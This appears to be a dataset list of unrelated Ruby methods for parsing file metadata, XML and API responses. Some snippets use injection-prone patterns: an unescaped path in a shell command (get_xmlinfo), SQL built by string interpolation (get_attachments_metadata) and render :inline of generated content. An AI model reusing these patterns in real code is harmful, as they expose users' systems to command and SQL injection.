"def update_metadata(file)\n metadata = MetadataEngine.new(file)\n\n # Special renaming case for misc files that do not need the tracklist\n if metadata.filepath.get_type == \"misc\"\n metadata.tags.artist = metadata.filepath.artist\n metadata.tags.year = metadata.filepath.year\n metadata.tags.album = metadata.filepath.album\n metadata.tags.cd = metadata.filepath.cd\n metadata.tags.index = metadata.filepath.index\n metadata.tags.title = metadata.filepath.title\n metadata.tags.save\n return\n end\n\n unless metadata.tracklist.has_tracklist?\n puts \"No .tracklist found for #{file}, generating it now.\"\n %x[generate-tracklist #{file.shellescape}]\n metadata = MetadataEngine.new(file)\n end\n\n # Update tags to reflect what's in the tracklist\n metadata.tags.artist = metadata.tracklist.artist\n metadata.tags.year = metadata.tracklist.year\n metadata.tags.album = metadata.tracklist.album\n metadata.tags.cd = metadata.tracklist.cd\n metadata.tags.index = metadata.tracklist.index\n metadata.tags.title = metadata.tracklist.title\n metadata.tags.type = metadata.tracklist.type\n metadata.tags.save\n\n # Update filepath to rename files based on new metadata\n metadata.filepath.artist = metadata.tracklist.artist\n metadata.filepath.year = metadata.tracklist.year\n metadata.filepath.album = metadata.tracklist.album\n metadata.filepath.cd = metadata.tracklist.cd\n metadata.filepath.index = metadata.tracklist.index\n metadata.filepath.title = metadata.tracklist.title\n metadata.filepath.save\n end",
"def update_metadata\n file_attributes = ::FileSetEditForm.model_attributes(attributes)\n actor.update_metadata(file_attributes)\n end",
"def temp\n # Find all files in the system\n allFiles = Devfile.find(:all)\n \n metadatatype = MetadataType.find_by_name(\"backup_recovery_path\")\n if metadatatype == nil\n render :text => \"Metadatatype was not found\", :status => 404\n return\n end\n \n # Go through each file and add metadata to it\n allFiles.each do |x|\n metadatavalue = '/home/user/MyDocs/DCIM/'+x.name\n Metadata.find_or_create_by_metadata_type_id_and_devfile_id(:metadata_type_id => metadatatype.id,\n :value => metadatavalue,\n :devfile_id => x.id) \n end\n \n render :text => \"Metadata added to all files in the system\", :status => 201\n return\n end",
"def read_metadata; end",
"def list_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ContentRepoMetadataFilesApi.list ...'\n end\n # resource path\n local_var_path = '/pulp/api/v3/content/rpm/repo_metadata_files/'\n\n # query parameters\n query_params = {}\n query_params[:'repository_version'] = opts[:'repository_version'] if !opts[:'repository_version'].nil?\n query_params[:'repository_version_added'] = opts[:'repository_version_added'] if !opts[:'repository_version_added'].nil?\n query_params[:'repository_version_removed'] = opts[:'repository_version_removed'] if !opts[:'repository_version_removed'].nil?\n query_params[:'limit'] = opts[:'limit'] if !opts[:'limit'].nil?\n query_params[:'offset'] = opts[:'offset'] if !opts[:'offset'].nil?\n query_params[:'fields'] = opts[:'fields'] if !opts[:'fields'].nil?\n query_params[:'exclude_fields'] = opts[:'exclude_fields'] if !opts[:'exclude_fields'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['Basic']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'InlineResponse20011')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ContentRepoMetadataFilesApi#list\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def extract_metadata\n raise ArgumentError, \"MIME type unspecified or not configured\" if schema.blank?\n fn = \"extract_#{schema.downcase}_metadata\"\n raise ArgumentError, \"Unsupported metadata standard: #{schema}\" unless respond_to?(fn.to_sym)\n send(fn, metadata_xml)\n end",
"def metadata\n puts \"Adding Metadata...\"\n doc = Nokogiri::HTML(open(\"http://www.last.fm/search?q=#{query}&type=track\"))\n url = doc.css(\"span.chartlist-ellipsis-wrap\").first.css(\"a.link-block-target\").first.attr('href')\n ch = url.gsub('/music/', \"\")\n artist, title = ch.split(\"/_/\")\n artist = artist.gsub('+', \" \")\n title = title.gsub('+', \" \")\n doc = Nokogiri::HTML(open(\"http://www.last.fm#{url}\"))\n album = doc.css(\"h3 a\").first\n begin\n Mp3Info.open(\"#{query.gsub(\"+\",\"-\")}.mp3\") do |mp3|\n mp3.tag.title = \"#{URI.unescape(title)}\".strip\n mp3.tag.artist = \"#{URI.unescape(artist)}\".strip\n mp3.tag.album = \"#{URI.unescape(album.content)}\".strip\n end\n puts \"Done\"\n rescue\n puts \"Fail\"\n end\n end",
"def get_xmlinfo\n def do_xmlget(imagepath)\n xmlinfo = %x{imagex info --xml #{imagepath}}\n @xmlinfo = REXML::Document.new xmlinfo\n return @xmlinfo\n end\n if defined?(@xmlinfo) then return @xmlinfo else @xmlinfo = nil end\n search = File.join(@path, 'sources/install.wim')\n wimage = Dir.glob(search, File::FNM_CASEFOLD)\n if wimage.length > 0\n return do_xmlget(wimage.first)\n end\n search = File.join(@path, 'sources/boot.wim')\n bimage = Dir.glob(search, File::FNM_CASEFOLD)\n if bimage.length > 0\n return do_xmlget(bimage.first)\n end\n @xmlinfo\n end",
"def read_pf_vf_info\n begin\n doc = REXML::Document.new \"<nicinfo/>\"\n @nic_pfs = Nic.find(:all,:conditions => [\"nic_type = ?\",\"PF\"])\n pfs_count = Nic.find(:all,:conditions => [\"nic_type = ?\",\"PF\"]).size \n #pf_num = doc.root.add_element \"pf_num\"\n #pf_num.text = pfs_count\n @nic_pfs.each do |pf|\n pf_node = doc.root.add_element \"pf\"\n \n #<bsf>00:19.0</bsf>\n pf_bsf_node = pf_node.root.add_element \"bsf\"\n pf_bsf_node.text = pf.bsf_address\n pf_node.add pf_bsf_node\n \n #<vf_num>0</vf_num>\n @nic_vfs = Nic.find(:all,:conditions => [\"nic_type = ? and vf_belongto_pf = ? \",\"VF\",pf.bsf_address])\n vfs_count = @nic_vfs.size\n vf_num_node = pf_node.root.add_element \"vf_num\"\n vf_num_node.text = vfs_count\n pf_node.add vf_num_node\n \n if vfs_count == 0\n #<vmdomid>3</vmdomid>\n @vm = Nic.find(:first,:conditions => [\"bsf_address = ? and virtual_machine_instance_id != -1 \",pf.bsf_address])\n if @vm\n vmdomid_node = pf_node.root.add_element \"vmdomid\"\n vmdomid_node.text = @vm.virtual_machine_instance_id\n pf_node.add vmdomid_node\n end \n #doc.add pf_node\n else\n @nic_vfs.each do |vf|\n #<vf>\n vf_node = pf_node.root.add_element \"vf\"\n #<bsf>02:10.3</bsf>\n vf_bsf_node = vf_node.root.add_element \"bsf\"\n vf_bsf_node.text = vf.bsf_address\n vf_node.add vf_bsf_node\n #<vmdomid>3</vmdomid>\n @vm = Nic.find(:first,:conditions => [\"bsf_address = ? and virtual_machine_instance_id != -1\",vf.bsf_address])\n if @vm\n vmdomid_node = vf_node.root.add_element \"vmdomid\"\n vmdomid_node.text = @vm.virtual_machine_instance_id\n vf_node.add vmdomid_node\n end\n pf_node.add vf_node\n end\n #doc.add pf_node\n end\n end\n #puts doc.to_s\n render :inline => doc.to_s\n rescue Exception => e\n puts \"kkk\" \n end\n end",
"def metadata_file; end",
"def metadata_file; end",
"def parse_list\n doc = REXML::Document.new(list)\n root = doc.root\n list_items = []\n root.elements.each(\"//atom:feed\") do |entry|\n item = {}\n entry.elements.each do |e|\n case e.name\n when \"id\", \"link\", \"updated\"\n item[e.name] = e.text\n when \"author\"\n item[e.name] ||= []\n e.elements.each(\"atom:name\") do |author|\n item[e.name] << author.text\n end\n end\n end\n list_items << item unless item.empty?\n end\n list_items\n end",
"def parse_metadata(file)\n file_name = File.basename(file)\n puts \"\\n#{Time.now.strftime('%T')} Parsing #{file_name}\" unless Rails.env.test?\n attrs = parser.new(file).attributes\n\n if attrs.blank?\n errors << \"Failed to parse file: #{file_name}\"\n elsif record_exists?(attrs)\n # Don't re-import the record if this record already\n # exists in fedora.\n skipped_imports << file_name\n else\n create_record(attrs.merge(metadata_file: file, visibility: visibility, admin_set: admin_set))\n successful_imports << file_name\n end\n rescue => e\n errors << \"#{file_name}: #{e}\"\n end",
"def update_metadata\n Socop::Ontology.parse(DATADIR.join \"ontologies.xml\").each do |ontology|\n if onto_ontology = Ontology.where(repository_id: repository.id, basepath: ontology['abbreviation']).first\n onto_ontology.update_attributes \\\n name: ontology['displayLabel'],\n description: ontology['description']\n end\n end\n end",
"def node_info(feed_ids, last_updated)\n node_info_path = '/var/puppetlabs/data/node_info/validated'\n node_info = {}\n\n lookup_ids = feed_ids.map { |f| \"#{node_info_path}/#{f}~*\" }\n node_info_files = Dir.glob(lookup_ids)\n return node_info if node_info_files.empty?\n\n if last_updated\n agent_last_updated = Time.parse(last_updated)\n source_last_updated = node_info_files.map { |f| [File.mtime(f)] }.sort.last[0]\n return node_info if agent_last_updated > source_last_updated\n end\n\n node_filename_pattern = %r{^(?<filename>[^~]+)~(?<feed_type>[^.]+).(?<file_type>\\w+)}\n node_info_files.each do |node_filename|\n file_data = node_filename_pattern.match(node_filename)\n unless file_data\n Puppet.warning \"node_info: #{node_filename} invalid filename pattern\"\n next\n end\n begin\n if file_data[:file_type] == 'json'\n file_data_hash = JSON.parse(File.read(node_filename))\n elsif file_data[:file_type] == 'yaml'\n file_data_hash = YAML.safe_load(File.read(node_filename))\n end\n rescue Exception => e # rubocop:disable Lint/RescueException\n Puppet.warning \"node_info: unable to parse data #{e}\"\n file_data_hash = {}\n end\n node_info[file_data[:feed_type]] = file_data_hash\n end\n node_info\n end",
"def get_attachments_metadata(node)\n files_md = {}\n md_list = FileTableKeys\n md_list.delete(RawContent)\n md_fields = md_list.join(\"`, `\")\n \n model_key = node.my_GlueEnv.model_key\n sql = \"SELECT `#{md_fields}` FROM `#{@file_table_name}`\n WHERE `#{NodeName}` = '#{node.__send__(model_key.to_sym)}'\"\n sth = @dbh.prepare(sql)\n rtn = []\n sth.execute\n while row=sth.fetch do\n rtn << row.to_h\n end\n #rtn\n sth.finish\n objects = rtn\n objects.each do |object|\n obj_md = object \n #speputs \"Obj It: #{obj_md.inspect}\"\n obj_md_file_modified = obj_md[\"modified_at\"]\n obj_md_content_type = obj_md[\"content_type\"]\n new_md = {:content_type => obj_md_content_type, :file_modified => obj_md_file_modified}\n new_md.merge(obj_md) #where does the original metadata go?\n #p new_md.keys\n files_md[obj_md[\"basename\"]] = new_md\n #puts \"Obj METADATA: #{new_md.inspect}\"\n end\n files_md\n end",
"def parse(file)\n doc = Nokogiri::XML( File.open( file ) )\n @type = doc.xpath(\"/probe/header/@type\").to_s\n @vendor = doc.xpath(\"/probe/header/@vendor\").to_s\n @services = \"<TODO>\"\n @indexes = \"<TODO>\"\n end",
"def index_file_metadata_definitions_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: MetadataApi.index_file_metadata_definitions ...'\n end\n # resource path\n local_var_path = '/file_metadata_definitions'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'limit'] = opts[:'limit'] if !opts[:'limit'].nil?\n query_params[:'offset'] = opts[:'offset'] if !opts[:'offset'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] \n\n # return_type\n return_type = opts[:return_type] || 'FileMetadataDefinitionCollection' \n\n # auth_names\n auth_names = opts[:auth_names] || ['BasicAuth', 'BearerAuth']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: MetadataApi#index_file_metadata_definitions\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def scan_in_api(file)\n require 'strscan'\n doc = StringScanner.new(file)\n $api = XMLElement.new\n parents = [$api]\n\n while not doc.eos?\n doc.scan(/</)\n if doc.scan(/\\/\\w+>/)\n parents.pop\n else\n name = doc.scan(/\\w+/)\n doc.scan(/\\s+/)\n values = {}\n while not (term = doc.scan(/[\\/>]/))\n key = doc.scan(/\\w+/)\n doc.scan(/='/)\n value = doc.scan(/[^']*/)\n doc.scan(/'\\s*/)\n values[key] = value\n end\n element = parents[-1].add_element(name, values)\n parents.push(element) if term == \">\"\n doc.scan(/>/) if term == \"/\"\n end\n end\n $api\nend",
"def load_xml_metadata\n str = self.client.getmd({:xml => true}, @address)\n return if str.empty?\n \n keymap = self.class.md_key_map\n types = self.class.md_type_coercion_map\n \n doc = REXML::Document.new(str)\n return if doc.nil?\n \n # <session><values>...</values></session>\n values = doc.root.elements[1, 'values']\n values.each_element do |element|\n key = element.attributes['id']\n value_element = element.elements.first\n value = value_element.text\n nodetype = value_element.name\n \n next if key.nil? or value.nil?\n \n case value_element.name\n when 'int'\n value = value.to_i\n when 'bigint'\n value = value.to_i\n when 'timestamp'\n value = Time.parse(value)\n else\n if types.has_key?(key)\n value = value.send(types[key])\n end\n end\n \n insert_metadata key, value, keymap, {}, nodetype\n end\n \n @metadata_loaded = true\n end",
"def parse\n hash = Hash.from_xml(@xml)\n\n contents = hash[\"ListBucketResult\"][\"Contents\"]\n\n # In cases when there is only one item returned,\n # Contents key is parsed as a Hash; make it into an array\n unless contents.is_a?(Array)\n if contents.is_a?(Hash)\n contents = [contents]\n else\n raise StandardError,\n \"Expected 'ListBucketResult/Contents' \" +\n \"key to be an Array, was '#{contents.class}'\"\n end\n end\n\n files = contents.map do |content|\n S3::File.new(\n content[\"Key\"],\n content[\"Size\"],\n content[\"ETag\"].gsub('\"', ''),\n Time.parse(content[\"LastModified\"]),\n @logger,\n )\n end\n\n max_keys = hash[\"ListBucketResult\"][\"MaxKeys\"].to_i\n\n is_truncated = hash[\"ListBucketResult\"][\"IsTruncated\"] == \"true\"\n\n S3::BucketPage.new(@bucket_url, files, max_keys, is_truncated, @logger)\n end",
"def read_methodbox_metadata\n #don't think we need encoding here\n parser = XML::Parser.io(File.open(filename, \"r\"))\n doc = parser.parse\n\n nodes = doc.find('//metadata/variable')\n\n nodes.each do |node|\n\n namenode = node.find('child::name')\n namecontent = namenode.first.content\n\n variable_name = namecontent\n\n descnode = node.find('child::description')\n desccontent = descnode.first.content\n\n variable_value = desccontent\n\n catnode = node.find('child::category')\n catcontent = catnode.first.content\n\n variable_category = catcontent\n if variable_category == nil\n variable_category = 'N/A'\n end\n\n dernode = node.find('child::derivation')\n dercontent = dernode.first\n\n dertype = dercontent.find('child::type')\n if dertype.first != nil\n dertypecontent = dertype.first.content\n variable_dertype = dertypecontent\n else\n end\n\n dermethod = dercontent.find('child::method')\n if dermethod.first != nil\n dermethodcontent = dermethod.first.content\n variable_dermethod = dermethodcontent\n\n page = dermethod[0].[](\"page\")\n\n document = dermethod[0].[](\"document\")\n\n if page != nil\n end\n else\n end\n\n infonode = node.find('child::information')\n infocontent = infonode.first.content\n variable_info = infocontent\n v = Variable.find(:all,:conditions=> {:dataset_id => dataset_id, :is_archived=>false, :name=>variable_name})\n if (v[0]!= nil)\n v[0].update_attributes(:value=>variable_value, :dertype=>variable_dertype, :dermethod=>variable_dermethod, :info=>variable_info,:category=>variable_category, :page=>page, :document=>document, :update_reason=>update_reason)\n\n end\n end\n end",
"def show\n @file_update_from_file_package = []\n @file_to_update_file_package = FileToUpdateFilePackage.where(file_package_id: @file_package.id)\n @file_to_update_file_package.each do |file_update_file_package|\n @file_update_from_file_package << file_update_file_package.file_to_update.name\n end\n end",
"def metadata\n metadata = {}\n @file.data.each { |key, value| metadata[key.to_sym] = value }\n\n metadata[:type] = @file.class.name.split('::')[1].downcase\n metadata[:url] = @file.url\n\n metadata[:slug] = slug\n\n metadata[:posted_at] = @file.date.to_time.to_i if @file.respond_to? :date\n metadata[:tags] = tags\n\n metadata\n end",
"def fetch_new_release_metadata\n return false if new_files.empty?\n msg \"Caching metadata for new releases\"\n new_files.each {|f| f.fetch}\n end",
"def metadata (root, info)\n info = decode_strings(info)\n\n # may be useful to some people\n callback(:pdf_version, @xref.pdf_version)\n\n # ye olde metadata\n callback(:metadata, [info]) if info\n\n # new style xml metadata\n if root[:Metadata]\n stream = @xref.object(root[:Metadata])\n callback(:xml_metadata,stream.unfiltered_data)\n end\n\n # page count\n if (pages = @xref.object(root[:Pages]))\n if (count = @xref.object(pages[:Count]))\n callback(:page_count, count.to_i)\n end\n end\n end",
"def content_files\n ns = descriptor_doc.find \"//M:file/M:FLocat/@xlink:href\", NS_PREFIX\n (ns.map { |n| URI.unescape n.value }).uniq\n end",
"def list_files\n User.sync_files!(@context)\n files = user_real_files(params, @context)\n\n if unsafe_params[:limit] && unsafe_params[:offset]\n files = files.limit(unsafe_params[:limit]).offset(unsafe_params[:offset])\n end\n\n search_string = params[:search_string].presence || \"\"\n\n result = files.eager_load(:license, user: :org).\n where(\"nodes.name LIKE ?\", \"%#{search_string}%\").\n order(id: :desc).map do |file|\n describe_for_api(file, unsafe_params[:describe])\n end.compact\n\n render json: unsafe_params[:offset]&.zero? ? { objects: result, count: result.length } : result\n end",
"def list_file_changed\n content = \"Files changed since last deploy:\\n\"\n IO.popen('find * -newer _last_deploy.txt -type f') do |io| \n while (line = io.gets) do\n filename = line.chomp\n if user_visible(filename) then\n content << \"* \\\"#{filename}\\\":{{site.url}}/#{file_change_ext(filename, \".html\")}\\n\"\n end\n end\n end \n content\nend",
"def files\n results\n rescue ApiStruct::EntityError\n result\n end",
"def files\n @files=get_endpoint('extra').keys\n end",
"def parse_file_to_ar(f)\n pp_ok \"STARTING PARSE for file #{f}...\"\n\n @doc = Nokogiri::XML(File.open(f), 'UTF-8') do |config|\n config.options = Nokogiri::XML::ParseOptions::STRICT | Nokogiri::XML::ParseOptions::NOBLANKS\n end\n\n # Extend name space to include METS\n # couldn't get the following to work\n # example: node.xpath('.//foo:name', {'foo' => 'http://example.org/'})\n # example: node.xpath('.//xmlns:name', node.root.namespaces)\n # my try: puts @doc.xpath(\"xmlns:METS\", {\"METS\" => \"http://www.loc.gov/METS/\"})\n\n # The following actually modifies the xml, which we don't want. But it works.\n ns = @doc.root.add_namespace_definition(\"xmlns:METS\", \"http://www.loc.gov/METS/\")\n\n\n\n pp_ok \"Current file is: #{f}\"\n # issue information -------------\n # note: issue_id is autoincremented by the db\n # and we will want to select it from the last row created\n\n pp_ok \"ISSUE INFO:\"\n hathitrust = @doc.xpath(\"//MODS:identifier[@type='hathitrust']/text()\").to_s\n pp_ok \"hathitrust value is #{hathitrust}\"\n\n volume = @doc.xpath(\"//MODS:detail[@type='volume']/MODS:number/text()\").to_s\n pp_ok \"volume value is #{volume}\"\n\n issue_no = @doc.xpath(\"//MODS:detail[@type='issue']/MODS:number/text()\").to_s\n pp_ok \"issues value is #{issue_no}\"\n\n edition = @doc.xpath(\"//MODS:detail[@type='edition']/MODS:number/text()\").to_s\n pp_ok \"edition value is #{edition}\"\n\n date_issued = @doc.xpath(\"//MODS:dateIssued/text()\").to_s\n pp_ok \"dateIssued value is #{date_issued}\"\n\n newspaper = @doc.xpath(\"/METS:mets/@LABEL\").to_s\n newspaper = newspaper.split(\",\").first.strip\n pp_ok \"newspaper is #{newspaper}\"\n\n\n issue_id = add_data_issue_ar(hathitrust, volume, issue_no, edition, date_issued, newspaper)\n\n pp_ok \"ISSUE ID IS: #{issue_id}\"\n\n # page information -------------\n # note: page_id is autoincremented by the db\n\n pages_target = \"//METS:structMap/METS:div[@TYPE='np:issue'][@DMDID='issueModsBib']/METS:div[@TYPE='np:page']\"\n\n pages = @doc.xpath(pages_target)\n\n @doc.xpath(pages_target).each do |node|\n\n pp_ok \"PAGE INFO:\"\n\n pp_ok \"issue_id value is #{issue_id}\"\n\n page_no = node.xpath(\"@ORDERLABEL\").to_s\n pp_ok \"page_no value is #{page_no}\"\n\n sequence = node.xpath(\"@ORDER\").to_s.to_i\n pp_ok \"sequence value is #{sequence}\"\n\n text_link = node.xpath(\"METS:mptr[1]/@xlink:href\").to_s\n pp_ok \"text_link value is #{text_link}\"\n\n img_link = node.xpath(\"METS:mptr[2]/@xlink:href\").to_s\n pp_ok \"img_link value is #{img_link}\"\n\n add_data_page_ar(issue_id, page_no, sequence, text_link, img_link)\n\n end # each\n\n pp \"File #{f} processed\"\n\n end",
"def update_metadata\n @generic_file.destroy_existing_nested_nodes(params[:generic_file])\n super\n end",
"def xml_data(xml)\n return unless xml = Objectify::Xml.first_element(xml)\n # There is something wrong with Nokogiri xpath/css search with\n # namespaces. If you are searching a document that has namespaces,\n # it's impossible to match any elements in the root xmlns namespace.\n # Matching just on attributes works though.\n feed, entry = xml.search('//*[@term][@scheme]', xml.namespaces)\n feed_self, entry_self = xml.search('//*[@rel=\"self\"][@type=\"application/atom+xml\"]', xml.namespaces)\n feed_scheme = feed['term'] if feed\n entry_scheme = entry['term'] if entry\n feed_href = feed_self['href'] if feed_self\n entry_href = entry_self['href'] if entry_self\n [xml, feed_scheme, entry_scheme, feed_href, entry_href]\n end",
"def retrieve_cloud_files(files); end",
"def index\n @uploaded_files = @page.uploaded_files.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @uploaded_files }\n end\n end",
"def initialize(parser)\n document = parser.metadata_document\n return if document.nil?\n document.remove_namespaces!\n metadata = document.css('metadata')\n self.version = document.css('package')[0]['version']\n self.titles = metadata.xpath('.//title').map(&:content)\n self.creators = metadata.xpath('.//creator').map {|c| EPUBInfo::Models::Person.new(c) }\n self.subjects = metadata.xpath('.//subject').map(&:content)\n self.description = metadata.xpath('.//description').first.content rescue nil\n self.publisher = metadata.xpath('.//publisher').first.content rescue nil\n self.contributors = metadata.xpath('.//contributor').map {|c| EPUBInfo::Models::Person.new(c) }\n self.dates = metadata.xpath('.//date').map { |d| EPUBInfo::Models::Date.new(d) }\n modified_date = metadata.xpath(\".//meta[@property='dcterms:modified']\").map do |d|\n date = EPUBInfo::Models::Date.new(d)\n date.event = 'modification'\n date\n end\n self.dates += modified_date;\n self.identifiers = metadata.xpath('.//identifier').map { |i| EPUBInfo::Models::Identifier.new(i) }\n self.source = metadata.xpath('.//source').first.content rescue nil\n self.languages = metadata.xpath('.//language').map(&:content)\n self.rights = metadata.xpath('.//rights').first.content rescue nil\n self.drm_protected = parser.drm_protected?\n self.cover = EPUBInfo::Models::Cover.new(parser)\n end",
"def files\n list = []\n if @data['info'].key?('files')\n @data['info']['files'].each do |file|\n list << { 'name' => file['path'], 'length' => file['length'] }\n end\n return list\n end\n\n if @data['info'].key?('name') && @data['info'].key?('length')\n list << { 'name' => @data['info']['name'], 'length' => @data['info']['length'] }\n end\n list\n end",
"def find_metadata\n versions.each do |v|\n m = v.metadata\n if m.exist?\n return m\n end\n end\n nil\n end",
"def parse\n return false unless filecheck\n doc = REXML::Document.new(open(file))\n @result_set = []\n doc.elements.each(RESULT_PATH) do |e|\n result_array = [] # [0]: name, [1]: data type, [2]:null\n get_generic(e, result_array)\n @result_set.push(result_array)\n end\n return true\n end",
"def multi_manifest\n\nidentifier = params[:iiifidentifier]\nrspaceid = params[:rspaceid]\n\nif File.file?(\"/manifests/multi/#{identifier}.json\")\n\nmanifest = File.read(\"/manifests/multi/#{identifier}.json\")\nrender :json => manifest\n\nelse\n\nmanifest = \"https://rspace.library.cofc.edu/iiif/#{identifier}/manifest\"\n\n# Actually fetch the contents of the remote URL as a String.\nbuffer = open(manifest).read\n\n# Convert the JSON response to hash\nmulti = JSON.parse(buffer)\n\n# Clear out empty metadata fields that RS includes for some reason\nmulti[\"metadata\"].delete_if { |h| h[\"value\"] == \"\" }\nmulti[\"metadata\"].delete_if { |h| h[\"value\"] == [] }\n\n#get values for each filestore alt file url\nsolr_alt_query = \"http://10.7.130.237:8983/solr/rspace/pages?fl=alternative-files&q=rspace-id:#{rspaceid}&rows=1\"\nalt_buffer = open(solr_alt_query).read\nalt_document = JSON.parse(alt_buffer)\n\n #add otherContent for annotation list\n other_content = []\n inner_content = {}\n inner_content[\"@context\"] = \"//iiif.io/api/presentation/2/context.json\"\n inner_content[\"@id\"] = \"https://lcdl.library.cofc.edu/lcdl/collections/annotation?iiif_identifier=#{identifier}\"\n inner_content[\"@type\"] = \"sc:AnnotationList\"\n other_content.push(inner_content)\n multi[\"sequences\"][0][\"canvases\"][0][\"otherContent\"] = other_content\n\nunless alt_document[\"response\"][\"docs\"][0][\"alternative-files\"].nil?\n\naltFiles = alt_document[\"response\"][\"docs\"][0][\"alternative-files\"]\n\nbase_canvas = multi[\"sequences\"][0][\"canvases\"][0]\n\naltFiles.each.with_index(1) do |canvas,i|\nc = Marshal.load(Marshal.dump(base_canvas))\n\ncanvas = canvas[31..-1]\ncanvas = CGI.escape(canvas)\n\naltInfo = \"https://iiif.library.cofc.edu/iiif/2/#{canvas}/info.json\"\nbuffer = open(altInfo).read\nalt = JSON.parse(buffer)\nheight = 85\nwidth = alt[\"width\"]\n\nc[\"height\"] = height\nc[\"width\"] = width\nc[\"@id\"] = \"https://rspace.library.cofc.edu/iiif/#{identifier}/canvas/#{i}\"\nc[\"label\"] = \"#{i}\"\nc[\"images\"][0][\"@id\"] = \"https://rspace.library.cofc.edu/iiif/#{identifier}/annotation/#{i}\"\nc[\"images\"][0][\"on\"] = \"https://rspace.library.cofc.edu/iiif/#{identifier}/canvas/#{i}\"\nc[\"images\"][0][\"height\"] = height\nc[\"images\"][0][\"width\"] = width\nc[\"images\"][0][\"resource\"][\"@id\"] = \"https://iiif.library.cofc.edu/iiif/2/#{canvas}/full/full/0/default.jpg\"\nc[\"images\"][0][\"resource\"][\"service\"][\"@id\"] = \"https://iiif.library.cofc.edu/iiif/2/#{canvas}\"\n\n #add otherContent for annotation list\n other_content = []\n inner_content = {}\n inner_content[\"@context\"] = \"//iiif.io/api/presentation/2/context.json\"\n inner_content[\"@id\"] = \"https://lcdl.library.cofc.edu/lcdl/collections/annotation?iiif_identifier=#{identifier}\"\n inner_content[\"@type\"] = \"sc:AnnotationList\"\n other_content.push(inner_content)\n c[\"otherContent\"] = other_content\n\nmulti[\"sequences\"][0][\"canvases\"] << c\n\nend\n\n\nend\n\nFile.open(\"manifests/multi/#{identifier}.json\",\"w\") do |f|\n f.write(JSON.pretty_generate(multi))\nend\n\nrender json: multi\n\nend #end else\nend",
"def get_flist\n pp_ok \"Started in directory #{Dir.pwd}\"\n Dir.chdir(@xml_dir)\n pp_ok \"Moved to directory #{Dir.pwd}\"\n return Dir.glob(\"*.{xml}\")\n end",
"def new_files\n metadata_files if @existing_files.nil?\n @new_files\n end",
"def modify_emf(request)\n http_request = request.to_http_info(@api_client.config)\n make_request(http_request, :GET, 'File')\n end",
"def parse_rss_alt(year, month, feed)\n file_paths = Array.new\n xbrlFilings = filter_feed_alt(Nokogiri::XML(feed), get_ciks)\n\n xbrlFilings.each do |xbrlFiling|\n cik = xbrlFiling.children[7].text\n xbrlFiles = xbrlFiling.children[23] != nil ? xbrlFiling.children[23].children : xbrlFiling.children[21].children\n file_path = Array.new\n\n (1..(xbrlFiles.length - 1)).step(2) do |j|\n url = xbrlFiles[j].attributes[\"url\"].value\n\n file_path << url if (url =~ /.(xml|xsd)$/) != nil\n end\n file_paths << [cik, [year.to_s, month.to_s], file_path]\n end\n file_paths\nend",
"def load_workset( filename )\n\n md_filename = ''\n asset_files = []\n File.open( filename, 'r').each do |line|\n if /^metadata : /.match( line )\n md_filename = /^metadata : (.*)$/.match( line ).captures[ 0 ]\n end\n\n if /^asset : /.match( line )\n asset_files << /^asset : (.*)$/.match( line ).captures[ 0 ]\n end\n end\n\n return md_filename, asset_files\n end",
"def show\n @xml_file_names = []\n @content = []\n parse_zip\n render 'show_file' if params[:file_name]\n end",
"def parse_sw_image_ids\n public_xml_doc.xpath('//resource[@type=\"page\" or @type=\"image\" or @type=\"thumb\"]').map do |node|\n node.xpath('./file[@mimetype=\"image/jp2\"]/@id').map do |x|\n \"#{@druid.gsub('druid:', '')}/\" + x\n end << node.xpath('./externalFile[@mimetype=\"image/jp2\"]').map do |y|\n \"#{y.attributes['objectId'].text.split(':').last}\" + '/' + \"#{y.attributes['fileId']}\"\n end\n end.flatten\n end",
"def get_contents uri,user,password,recursive=false\n \n found=[]\n\n content = propfind uri,user,password,1\n\n parser = LibXML::XML::Parser.string(content,:encoding => LibXML::XML::Encoding::UTF_8)\n\n document = parser.parse\n\n href_nodes = document.find(\"ns:response\",\"ns:DAV:\")\n \n href_nodes.each do |node|\n unless node == href_nodes.first \n href_node=node.find_first(\"ns:href\",\"ns:DAV:\")\n last_modified_node = node.find_first(\"*/ns:prop\",\"ns:DAV:\").find_first(\"ns:getlastmodified\",\"ns:DAV:\")\n creation_date_node = node.find_first(\"*/ns:prop\",\"ns:DAV:\").find_first(\"ns:creationdate\",\"ns:DAV:\")\n content_type_node = node.find_first(\"*/ns:prop\",\"ns:DAV:\").find_first(\"ns:getcontenttype\",\"ns:DAV:\")\n\n attributes={ \n :containing_path=>uri.to_s,\n :full_path=>uri.merge(href_node.inner_xml).to_s,\n :updated_at=>DateTime.parse(last_modified_node.inner_xml).to_s,\n :created_at=>DateTime.parse(creation_date_node.inner_xml).to_s,\n :is_directory=>is_dir?(href_node,content_type_node)\n }\n found << attributes\n end\n end\n \n found.select{|a| a[:is_directory]}.each do |dir_tuple|\n child_uri=URI.parse(dir_tuple[:full_path])\n children=get_contents child_uri,user,password,true\n dir_tuple[:children]=children\n end if recursive\n \n return found\n \n end",
